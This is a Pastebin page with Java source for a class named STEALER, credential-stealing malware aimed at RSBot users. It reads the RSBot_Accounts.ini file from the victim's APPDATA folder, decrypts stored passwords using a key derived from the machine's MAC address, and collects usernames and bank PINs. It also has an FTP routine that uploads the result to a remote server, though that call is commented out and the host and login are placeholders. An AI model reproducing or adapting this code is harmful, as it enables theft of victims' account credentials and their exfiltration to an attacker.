Advertisement
Guest User

Untitled

a guest
Jul 20th, 2017
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.88 KB | None | 0 0
  1. import java.io.*;
  2. import java.util.*;
  3. import java.net.*;
  4. import java.security.MessageDigest;
  5. import java.security.NoSuchAlgorithmException;
  6. import org.apache.commons.net.ftp.*;
  7. import java.text.DateFormat;
  8. import java.text.SimpleDateFormat;
  9.  
  10. public class STEALER {
  11. public static String passwords = "";
  12. public static String bankPins = "";
  13. public static String usernames = "";
  14. public static String ACCOUNT = "";
  15.  
  16. public static void main(String[] args) throws IOException {
  17. File file = new File(System.getenv("APPDATA") + File.separator + "RSBot_Accounts.ini");
  18. boolean exists = file.exists();
  19. if (!exists) {
  20. System.out.println("the file or directory you are searching does not exist : " + exists);
  21. } else {
  22. getAllInfo(file.toString());
  23. //uploadFile();
  24. }
  25. }
  26.  
  27. public static void getAllInfo(String filename) {
  28. try {
  29. BufferedReader in = new BufferedReader(new FileReader(filename));
  30. String str;
  31. while ((str = in.readLine()) != null) {
  32. ArrayList myArrayList = new ArrayList();
  33. if(str.startsWith("[")) {
  34. usernames = str;
  35. //System.out.println(usernames);
  36. myArrayList.add("USERNAME: "+usernames);
  37. } else if(str.startsWith("password")) {
  38. passwords = str;
  39. //System.out.println(passwords);
  40. passwords = decrypt(str.substring(9));
  41. myArrayList.add("PASSWORD: "+passwords);
  42.  
  43. } else if(str.startsWith("pin")) {
  44. bankPins = str;
  45. //System.out.println(bankPins);
  46. myArrayList.add("BANKPIN: "+bankPins);
  47. }
  48. System.out.println(myArrayList.toString());
  49. }
  50. in.close();
  51. } catch (IOException e) {
  52. }
  53. }
  54.  
  55. private static String getDateTime() {
  56. DateFormat dateFormat = new SimpleDateFormat("HH:MM:SS");
  57. Date date = new Date();
  58. return dateFormat.format(date);
  59. }
  60.  
  61. public static void uploadFile() {
  62. FTPClient client = new FTPClient();
  63. FileInputStream fis = null;
  64. try {
  65. client.connect(No can has);
  66. System.out.println("Connected to server.....");
  67. System.out.print(client.getReplyString());
  68. client.login(SEKRET :D);
  69. String filename = "public_html/uploads/["+getDateTime()+"]"+System.getProperty("user.name")+".ini";
  70. fis = new FileInputStream(finalFile);
  71. client.storeFile(filename, fis);
  72. System.out.println();
  73. System.out.println("File: "+filename+" Uploaded!");
  74. client.logout();
  75. } catch (IOException e) {
  76. e.printStackTrace();
  77. } finally {
  78. try {
  79. if (fis != null) {
  80. fis.close();
  81. }
  82. client.disconnect();
  83. } catch (IOException e) {
  84. e.printStackTrace();
  85. }
  86. }
  87. }
  88.  
  89. static String key;
  90.  
  91. static {
  92. try {
  93. final InetAddress address = InetAddress.getLocalHost();
  94. final NetworkInterface ni = NetworkInterface.getByInetAddress(address);
  95. key = new String(ni.getHardwareAddress());
  96. } catch (final Exception e) {
  97. key = System.getProperty("user.name") + System.getProperty("user.language");
  98. }
  99. }
  100.  
  101. String channel;
  102.  
  103. private static byte[] SHA1(final String in)
  104. throws NoSuchAlgorithmException, UnsupportedEncodingException {
  105. MessageDigest md = MessageDigest.getInstance("SHA-1");
  106. md.update(in.getBytes("iso-8859-1"), 0, in.length());
  107. return md.digest();
  108. }
  109.  
  110. private static String decrypt(final String start) {
  111. final String delim = "a";
  112. if (start == null)
  113. return null;
  114. byte[] hashedkey;
  115. byte[] password;
  116. int i;
  117. try {
  118. hashedkey = SHA1(key);
  119. } catch (final NoSuchAlgorithmException e) {
  120. e.printStackTrace();
  121. return start;
  122. } catch (final UnsupportedEncodingException e) {
  123. e.printStackTrace();
  124. return start;
  125. }
  126. final String[] temp = start.split(delim);
  127. password = new byte[temp.length];
  128. for (i = 0; i < hashedkey.length; i++) {
  129. final int temp2 = Integer.parseInt(temp[i]);
  130. if (hashedkey[i] == temp2) {
  131. break;
  132. } else {
  133. password[i] = (byte) (temp2 - hashedkey[i]);
  134. }
  135. }
  136. return new String(password, 0, i);
  137. }
  138. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement